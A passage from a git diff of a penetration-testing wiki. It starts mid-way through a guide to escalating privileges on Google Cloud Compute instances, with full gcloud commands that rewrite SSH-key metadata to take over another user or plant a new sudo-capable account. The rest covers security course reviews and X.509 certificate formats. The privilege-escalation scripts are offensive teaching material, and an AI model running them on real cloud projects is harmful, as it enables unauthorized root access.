AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice + bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob + ... +``` + +Notice the **slightly odd format** of the public keys - the **username** is listed at the **beginning** (followed by a colon) and then again at the **end**. We'll need to match this format. Unlike normal SSH key operation, the username absolutely matters! + +**Save the lines with usernames and keys in a new text** file called `meta.txt`. + +Let's assume we are targeting the user `alice` from above. We'll **generate a new key** for ourselves like this: + +```bash +ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub +``` + +Add your new public key to the file `meta.txt` imitating the format: + +``` +alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice +bob:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2fNZlw22d3mIAcfRV24bmIrOUn8l9qgOGj1LQgOTBPLAVMDAbjrM/98SIa1NainYfPSK4oh/06s7xi5B8IzECrwqfwqX0Z3VbW9oQbnlaBz6AYwgGHE3Fdrbkg/Ew8SZAvvvZ3bCwv0i5s+vWM3ox5SIs7/W4vRQBUB4DIDPtj0nK1d1ibxCa59YA8GdpIf797M0CKQ85DIjOnOrlvJH/qUnZ9fbhaHzlo2aSVyE6/wRMgToZedmc6RzQG2byVxoyyLPovt1rAZOTTONg2f3vu62xVa/PIk4cEtCN3dTNYYf3NxMPRF6HCbknaM9ixmu3ImQ7+vG3M+g9fALhBmmF bob +alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnthNXHxi31LX8PlsGdIF/wlWmI0fPzuMrv7Z6rqNNgDYOuOFTpM1Sx/vfvezJNY+bonAPhJGTRCwAwytXIcW6JoeX5NEJsvEVSAwB1scOSCEAMefl0FyIZ3ZtlcsQ++LpNszzErreckik3aR+7LsA2TCVBjdlPuxh4mvWBhsJAjYS7ojrEAtQsJ0mBSd20yHxZNuh7qqG0JTzJac7n8S5eDacFGWCxQwPnuINeGoacTQ+MWHlbsYbhxnumWRvRiEm7+WOg2vPgwVpMp4sgz0q5r7n/l7YClvh/qfVquQ6bFdpkVaZmkXoaO74Op2Sd7C+MBDITDNZPpXIlZOf4OLb alice +``` + +Now, you can** re-write the SSH key metadata** for your instance with the following command: + +```bash +gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt +``` + +You can now **access a shell in the context of `alice`** as follows: + +``` +lowpriv@instance:~$ ssh -i ./key alice@localhost +alice@instance:~$ sudo id +uid=0(root) gid=0(root) groups=0(root) +``` + +### **Create a new privileged user and add a SSH key** + +No existing keys found when following the steps above? No one else interesting in `/etc/passwd` to target? + +You can **follow the same process** as above, but just **make up a new username**. This user will be created automatically and given rights to `sudo`. Scripted, the process would look like this: + +```bash +# define the new account username +NEWUSER="definitelynotahacker" + +# create a key +ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P "" + +# create the input meta file +NEWKEY="$(cat ./key.pub)" +echo "$NEWUSER:$NEWKEY" > ./meta.txt + +# update the instance metadata +gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt + +# ssh to the new account +ssh -i ./key "$NEWUSER"@localhost +``` + +### **Grant sudo to existing session** + +This one is so easy, quick, and dirty that it feels wrong… + +``` +gcloud compute ssh [INSTANCE NAME] +``` + +This will **generate a new SSH key, add it to your existing user, and add your existing username to the `google-sudoers` group**, and start a new SSH session. While it is quick and easy, it may end up making more changes to the target system than the previous methods. + +## **Using OS Login** + +[OS Login](https://cloud.google.com/compute/docs/oslogin/) is an alternative to managing SSH keys. It links a** Google user or service account to a Linux identity**, relying on IAM permissions to grant or deny access to Compute Instances. + +OS Login is [enabled](https://cloud.google.com/compute/docs/instances/managing-instance-access#enable_oslogin) at the project or instance level using the metadata key of `enable-oslogin = TRUE`. + +OS Login with two-factor authentication is [enabled](https://cloud.google.com/compute/docs/oslogin/setup-two-factor-authentication) in the same manner with the metadata key of `enable-oslogin-2fa = TRUE`. + +The following two **IAM permissions control SSH access to instances with OS Login enabled**. They can be applied at the project or instance level: + +* **roles/compute.osLogin** (no sudo) +* **roles/compute.osAdminLogin** (has sudo) + +Unlike managing only with SSH keys, these permissions allow the administrator to control whether or not `sudo` is granted. + +If your service account has these permissions.** You can simply run the `gcloud compute ssh [INSTANCE]`** command to [connect manually as the service account](https://cloud.google.com/compute/docs/instances/connecting-advanced#sa_ssh_manual). **Two-factor **is **only** enforced when using **user accounts**, so that should not slow you down even if it is assigned as shown above. + +Similar to using SSH keys from metadata, you can use this strategy to **escalate privileges locally and/or to access other Compute Instances** on the network. + +## SSH keys at project level + +Following the details mentioned in the previous section you can try to compromise more VMs. + +We can expand upon those a bit by [**applying SSH keys at the project level**](https://cloud.google.com/compute/docs/instances/adding-removing-ssh-keys#project-wide), granting you permission to **SSH into a privileged account** for any instance that has not explicitly chosen the "Block project-wide SSH keys" option.: + +``` +gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt +``` + +If you're really bold, you can also just type `gcloud compute ssh [INSTANCE]` to use your current username on other boxes. diff --git a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md index 2c4c9a30..2d2e97c2 100644 --- a/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md +++ b/courses-and-certifications-reviews/ine-courses-and-elearnsecurity-certifications-reviews.md @@ -1,51 +1,50 @@ # INE Courses and eLearnSecurity Certifications Reviews -## eLearnSecurity Mobile Application Penetration Tester \(eMAPT\) and the respective INE courses +## eLearnSecurity Mobile Application Penetration Tester (eMAPT) and the respective INE courses -### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)\*\*\*\* +### Course: [**Android & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)**** -This is the course to **prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. +This is the course to** prepare for the eMAPT certificate exam**. It will teach you the **basics of Android** as OS, how the **applications works**, the **most sensitive components** of the Android applications, and how to **configure and use** the main **tools** to test the applications. The goal is to **prepare you to be able to pentest Android applications in the real life**. -I found the course to be a great one for **people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**. +I found the course to be a great one for** people that don't have any experience pentesting Android** applications. However, **if** you are someone with **experience** in the topic and you have access to the course I also recommend you to **take a look to it**. That **was my case** when I did this course and even having a few years of experience pentesting Android applications **this course taught me some Android basics I didn't know and some new tricks**. -Finally, note **two more things** about this course: It has **great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as **it teach you the basics to be able to understand other Android vulnerabilities**. -Besides, once you have completed the course \(or before\) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-apps-pentesting/android-app-pentesting/) and learn more tricks. +Finally, note **two more things** about this course: It has** great labs to practice** what you learn, however, it **doesn't explain every possible vulnerability** you can find in an Android application. Anyway, that's not an issue as** it teach you the basics to be able to understand other Android vulnerabilities**.\ +Besides, once you have completed the course (or before) you can go to the [**Hacktricks Android Applications pentesting section**](../mobile-apps-pentesting/android-app-pentesting/) and learn more tricks. -### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)\*\*\*\* +### Course: [**iOS & Mobile App Pentesting**](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)**** -When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity.** As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications. +When I performed this course I didn't have much experience with iOS applications, and I found this **course to be a great resource to get me started quickly in the topic, so if you have the chance to perform the course don't miss the opportunity. **As the previous course, this course will teach you the **basics of iOS**, how the **iOS** **applications works**, the **most sensitive components** of the applications, and how to **configure and use** the main **tools** to test the applications.\ However, there is a very important difference with the Android course, if you want to follow the labs, I would recommend you to **get a jailbroken iOS or pay for some good iOS emulator.** -As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as **it teach you the basics to be able to understand other iOS vulnerabilities**. -Besides, once you have completed the course \(or before\) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-apps-pentesting/ios-pentesting/) and learn more tricks. +As in the previous course, this course has some very useful labs to practice what you learn, but it doesn't explain every possible vulnerability of iOS applications. However, that's not an issue as** it teach you the basics to be able to understand other iOS vulnerabilities**.\ +Besides, once you have completed the course (or before) you can go to the [**Hacktricks iOS Applications pentesting section**](../mobile-apps-pentesting/ios-pentesting/) and learn more tricks. ### [eMAPT](https://elearnsecurity.com/product/emapt-certification/) -> The eLearnSecurity Mobile Application Penetration Tester \(eMAPT\) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam. +> The eLearnSecurity Mobile Application Penetration Tester (eMAPT) certification is issued to cyber security experts that display advanced mobile application security knowledge through a scenario-based exam. The goal of this certificate is to **show** that you are capable of performing common **mobile applications pentests**. -During the exam you are **given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** \(the apk and the code\) and it must **exploit** the **other** **apps** **vulnerabilities**. +During the exam you are** given 2 vulnerable Android applications** and you need to **create** an A**ndroid** **application** that **exploits** the vulnerabilities automatically. In order to **pass the exam**, you need to **send** the **exploit** **application** (the apk and the code) and it must **exploit** the **other** **apps** **vulnerabilities**. -Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting) **is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app. +Having done the [**INE course about Android applications pentesting**](https://my.ine.com/CyberSecurity/courses/cfd5ec2b/android-mobile-app-pentesting)** is** **more than enough** to find the vulnerabilities of the applications. What I found to be more "complicated" of the exam was to **write an Android application** that exploits vulnerabilities. However, having some experience as Java developer and looking for tutorials on the Internet about what I wanted to do **I was able to complete the exam in just some hours**. They give you 7 days to complete the exam, so if you find the vulnerabilities you will have plenty of time to develop the exploit app. -In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like **another part of the course to complete your knowledge in Android applications pentesting**. +In this exam I **missed the opportunity to exploit more vulnerabilities**, however, **I lost a bit the "fear" to write Android applications to exploit a vulnerability**. So it felt just like** another part of the course to complete your knowledge in Android applications pentesting**. -## eLearnSecurity Web application Penetration Tester eXtreme \(eWPTXv2\) and the INE course related +## eLearnSecurity Web application Penetration Tester eXtreme (eWPTXv2) and the INE course related -### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)\*\*\*\* +### Course: [**Web Application Penetration Testing eXtreme**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**** -This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**. -Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains **pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. +This course is the one meant to **prepare** you for the **eWPTXv2** **certificate** **exam**. \ +Even having been working as web pentester for several years before doing the course, it taught me several **neat hacking tricks about "weird" web vulnerabilities and ways to bypass protections**. Moreover, the course contains** pretty nice labs where you can practice what you learn**, and that is always helpful to fully understand the vulnerabilities. -I think this course **isn't for web hacking beginners** \(there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**\).** However, ****if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. +I think this course** isn't for web hacking beginners** (there are other INE courses for that like [**Web Application Penetration Testing**](https://my.ine.com/CyberSecurity/courses/38316560/web-application-penetration-testing)**). **However,** **if you aren't a beginner, independently on the hacking web "level" you think you have, **I definitely recommend you to take a look to the course** because I'm sure you **will learn new things** like I did. ### [eWPTXv2](https://elearnsecurity.com/product/ewptxv2-certification/) -> The eLearnSecurity Web Application Penetration Tester eXtreme \(eWAPTX\) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass. +> The eLearnSecurity Web Application Penetration Tester eXtreme (eWAPTX) is our most advanced web application pentesting certification. The eWPTX exam requires students to perform an expert-level penetration test that is then assessed by INE’s cyber security instructors. Students are expected to provide a complete report of their findings as they would in the corporate sector in order to pass. -The exam was composed of a **few web applications full of vulnerabilities**. In order to pass the exam you will need to compromise a few machines abusing web vulnerabilities. However, note that that's not enough to pass the exam, you need to **send a professional pentest report detailing** all the vulnerabilities discovered, how to exploit them and how to remediate them. -**I reported more than 10 unique vulnerabilities** \(most of them high/critical and presented in different places of the webs\), including the read of the flag and several ways to gain RCE and I passed. - -**All the vulnerabilities I reported could be found explained in the** [**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**.** However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. +The exam was composed of a **few web applications full of vulnerabilities**. In order to pass the exam you will need to compromise a few machines abusing web vulnerabilities. However, note that that's not enough to pass the exam, you need to **send a professional pentest report detailing** all the vulnerabilities discovered, how to exploit them and how to remediate them.\ +**I reported more than 10 unique vulnerabilities** (most of them high/critical and presented in different places of the webs), including the read of the flag and several ways to gain RCE and I passed. +**All the vulnerabilities I reported could be found explained in the **[**Web Application Penetration Testing eXtreme course**](https://my.ine.com/CyberSecurity/courses/630a470a/web-application-penetration-testing-extreme)**. **However, order to pass this exam I think that you **don't only need to know about web vulnerabilities**, but you need to be **experienced exploiting them**. So, if you are doing the course, at least practice with the labs and potentially play with other platform where you can improve your skills exploiting web vulnerabilities. diff --git a/cryptography/certificates.md b/cryptography/certificates.md index e939f56b..cb32b10b 100644 --- a/cryptography/certificates.md +++ b/cryptography/certificates.md @@ -2,37 +2,37 @@ ## What is a Certificate -In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner \(called the subject\), and the digital signature of an entity that has verified the certificate's contents \(called the issuer\). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. +In cryptography, a **public key certificate,** also known as a **digital certificate** or **identity certificate,** is an electronic document used to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of an entity that has verified the certificate's contents (called the issuer). If the signature is valid, and the software examining the certificate trusts the issuer, then it can use that key to communicate securely with the certificate's subject. -In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) \(PKI\) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) \(CA\), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate. +In a typical [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) scheme, the certificate issuer is a [certificate authority](https://en.wikipedia.org/wiki/Certificate_authority) (CA), usually a company that charges customers to issue certificates for them. By contrast, in a [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) scheme, individuals sign each other's keys directly, in a format that performs a similar function to a public key certificate. -The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure \(X.509\)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280. +The most common format for public key certificates is defined by [X.509](https://en.wikipedia.org/wiki/X.509). Because X.509 is very general, the format is further constrained by profiles defined for certain use cases, such as [Public Key Infrastructure (X.509)](https://en.wikipedia.org/wiki/PKIX) as defined in RFC 5280. ## x509 Common Fields -* **Version Number:** Version of x509 format. +* **Version Number: **Version of x509 format. * **Serial Number**: Used to uniquely identify the certificate within a CA's systems. In particular this is used to track revocation information. * **Subject**: The entity a certificate belongs to: a machine, an individual, or an organization. * **Common Name**: Domains affected by the certificate. Can be 1 or more and can contain wildcards. - * **Country \(C\)**: Country - * **Distinguished name \(DN\)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` - * **Locality \(L\)**: Local place - * **Organization \(O\)**: Organization name - * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\). - * **State or Province \(ST, S or P\)**: List of state or province names + * **Country (C)**: Country + * **Distinguished name (DN)**: The whole subject: `C=US, ST=California, L=San Francisco, O=Example, Inc., CN=shared.global.example.net` + * **Locality (L)**: Local place + * **Organization (O)**: Organization name + * **Organizational Unit (OU)**: Division of an organisation (like "Human Resources"). + * **State or Province (ST, S or P)**: List of state or province names * **Issuer**: The entity that verified the information and signed the certificate. - * **Common Name \(CN\)**: Name of the certificate authority - * **Country \(C\)**: Country of the certificate authority - * **Distinguished name \(DN\)**: Distinguished name of the certificate authority - * **Locality \(L\)**: Local place where the organisation can be found. - * **Organization \(O\)**: Organisation name - * **Organizational Unit \(OU\)**: Division of an organisation \(like "Human Resources"\). + * **Common Name (CN)**: Name of the certificate authority + * **Country (C)**: Country of the certificate authority + * **Distinguished name (DN)**: Distinguished name of the certificate authority + * **Locality (L)**: Local place where the organisation can be found. + * **Organization (O)**: Organisation name + * **Organizational Unit (OU)**: Division of an organisation (like "Human Resources"). * **Not Before**: The earliest time and date on which the certificate is valid. Usually set to a few hours or days prior to the moment the certificate was issued, to avoid [clock skew](https://en.wikipedia.org/wiki/Clock_skew#On_a_network) problems. * **Not After**: The time and date past which the certificate is no longer valid. -* **Public Key**: A public key belonging to the certificate subject. \(This is one of the main parts as this is what is signed by the CA\) +* **Public Key**: A public key belonging to the certificate subject. (This is one of the main parts as this is what is signed by the CA) * **Public Key Algorithm**: Algorithm used to generate the public key. Like RSA. - * **Public Key Curve**: The curve used by the elliptic curve public key algorithm \(if apply\). Like nistp521. - * **Public Key Exponent**: Exponent used to derive the public key \(if apply\). Like 65537. + * **Public Key Curve**: The curve used by the elliptic curve public key algorithm (if apply). Like nistp521. + * **Public Key Exponent**: Exponent used to derive the public key (if apply). Like 65537. * **Public Key Size**: The size of the public key space in bits. Like 2048. * **Signature Algorithm**: The algorithm used to sign the public key certificate. * **Signature**: A signature of the certificate body by the issuer's private key. @@ -41,37 +41,37 @@ The most common format for public key certificates is defined by [X.509](https:/ * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `Digital Signature` * **Extended Key Usage**: The applications in which the certificate may be used. Common values include TLS server authentication, email protection, and code signing. * In a Web certificate this will appear as a _X509v3 extension_ and will have the value `TLS Web Server Authentication` - * **Subject Alternative Name:** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**. - * **Basic Constraint:** This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example \(the last par of the chain\). - * **Subject Key Identifier** \(SKI\): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** \(AKI\) extension on issued certificates. It's the hash of the subject public key. + * **Subject Alternative Name: ** Allows users to specify additional host **names** for a single SSL **certificate**. The use of the SAN extension is standard practice for SSL certificates, and it's on its way to replacing the use of the common **name**. + * **Basic Constraint: **This extension describes whether the certificate is a CA certificate or an end entity certificate. A CA certificate is something that signs certificates of others and a end entity certificate is the certificate used in a web page for example (the last par of the chain). + * **Subject Key Identifier** (SKI): This extension declares a unique **identifier** for the public **key** in the certificate. It is required on all CA certificates. CAs propagate their own SKI to the Issuer **Key Identifier** (AKI) extension on issued certificates. It's the hash of the subject public key. * **Authority Key Identifier**: It contains a key identifier which is derived from the public key in the issuer certificate. It's the hash of the issuer public key. - * **Authority Information Access** \(AIA\): This extension contains at most two types of information : - * Information about **how to get the issuer of this certificate** \(CA issuer access method\) - * Address of the **OCSP responder from where revocation of this certificate** can be checked \(OCSP access method\). + * **Authority Information Access** (AIA): This extension contains at most two types of information : + * Information about **how to get the issuer of this certificate** (CA issuer access method) + * Address of the **OCSP responder from where revocation of this certificate** can be checked (OCSP access method). * **CRL Distribution Points**: This extension identifies the location of the CRL from which the revocation of this certificate can be checked. The application that processes the certificate can get the location of the CRL from this extension, download the CRL and then check the revocation of this certificate. * **CT Precertificate SCTs**: Logs of Certificate transparency regarding the certificate ### Difference between OSCP and CRL Distribution Points -**OCSP** \(RFC 2560\) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without** having to **download** the **entire CRL**. -**CRL** is the **traditional method** of checking certificate validity. A **CRL provides a list of certificate serial numbers** that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries. -From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:~:text=OCSP%20%28RFC%202560%29%20is%20a,to%20download%20the%20entire%20CRL.&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.). +**OCSP **(RFC 2560) is a standard protocol that consists of an **OCSP client and an OCSP responder**. This protocol **determines revocation status of a given digital public-key certificate** **without **having to **download **the **entire CRL**.\ +**CRL **is the **traditional method **of checking certificate validity. A** CRL provides a list of certificate serial numbers **that have been revoked or are no longer valid. CRLs let the verifier check the revocation status of the presented certificate while verifying it. CRLs are limited to 512 entries.\ +From [here](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm#:\~:text=OCSP%20\(RFC%202560\)%20is%20a,to%20download%20the%20entire%20CRL.\&text=A%20CRL%20provides%20a%20list,or%20are%20no%20longer%20valid.). ### What is Certificate Transparency Certificate Transparency aims to remedy certificate-based threats by **making the issuance and existence of SSL certificates open to scrutiny by domain owners, CAs, and domain users**. Specifically, Certificate Transparency has three main goals: -* Make it impossible \(or at least very difficult\) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain. +* Make it impossible (or at least very difficult) for a CA to **issue a SSL certificate for a domain without the certificate being visible to the owner** of that domain. * Provide an **open auditing and monitoring system that lets any domain owner or CA determine whether certificates have been mistakenly or maliciously** issued. -* **Protect users** \(as much as possible\) from being duped by certificates that were mistakenly or maliciously issued. +* **Protect users** (as much as possible) from being duped by certificates that were mistakenly or maliciously issued. #### **Certificate Logs** -Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large \(say, much less than a thousand worldwide\), and each could be operated independently by a CA, an ISP, or any other interested party. +Certificate logs are simple network services that maintain **cryptographically assured, publicly auditable, append-only records of certificates**. **Anyone can submit certificates to a log**, although certificate authorities will likely be the foremost submitters. Likewise, anyone can query a log for a cryptographic proof, which can be used to verify that the log is behaving properly or verify that a particular certificate has been logged. The number of log servers doesn’t have to be large (say, much less than a thousand worldwide), and each could be operated independently by a CA, an ISP, or any other interested party. #### Query -You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh/). +You can query the logs of Certificate Transparency of any domain in [https://crt.sh/](https://crt.sh). ## Formats @@ -80,7 +80,10 @@ There are different formats that can be used to store a certificate. #### **PEM Format** * It is the most common format used for certificates -* Most servers \(Ex: Apache\) expects the certificates and private key to be in a separate files - Usually they are Base64 encoded ASCII files - Extensions used for PEM certificates are .cer, .crt, .pem, .key files - Apache and similar server uses PEM format certificates +* Most servers (Ex: Apache) expects the certificates and private key to be in a separate files\ + \- Usually they are Base64 encoded ASCII files\ + \- Extensions used for PEM certificates are .cer, .crt, .pem, .key files\ + \- Apache and similar server uses PEM format certificates #### **DER Format** @@ -90,15 +93,15 @@ There are different formats that can be used to store a certificate. * DER formatted certificates most often use the ‘.cer’ and '.der' extensions * DER is typically used in Java Platforms -#### **P7B/PKCS\#7 Format** +#### **P7B/PKCS#7 Format** -* The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c -* A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key +* The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c +* A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key * The most common platforms that support P7B files are Microsoft Windows and Java Tomcat -#### **PFX/P12/PKCS\#12 Format** +#### **PFX/P12/PKCS#12 Format** -* The PKCS\#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file +* The PKCS#12 or PFX/P12 format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file * These files usually have extensions such as .pfx and .p12 * They are typically used on Windows machines to import and export certificates and private keys @@ -106,71 +109,70 @@ There are different formats that can be used to store a certificate. **Convert x509 to PEM** -```text +``` openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` #### **Convert PEM to DER** -```text +``` openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` **Convert DER to PEM** -```text +``` openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` **Convert PEM to P7B** -**Note:** The PKCS\#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. ****A P7B file only contains certificates and chain certificates \(Intermediate CAs\), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat. +**Note:** The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c.** **A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat. -```text +``` openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` **Convert PKCS7 to PEM** -```text +``` openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` **Convert pfx to PEM** -**Note:** The PKCS\#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys. +**Note:** The PKCS#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys. -```text +``` openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` -**Convert PFX to PKCS\#8** +**Convert PFX to PKCS#8**\ **Note:** This requires 2 commands **1- Convert PFX to PEM** -```text +``` openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` **2- Convert PEM to PKCS8** -```text +``` openSSL pkcs8 -in certificatename.pem 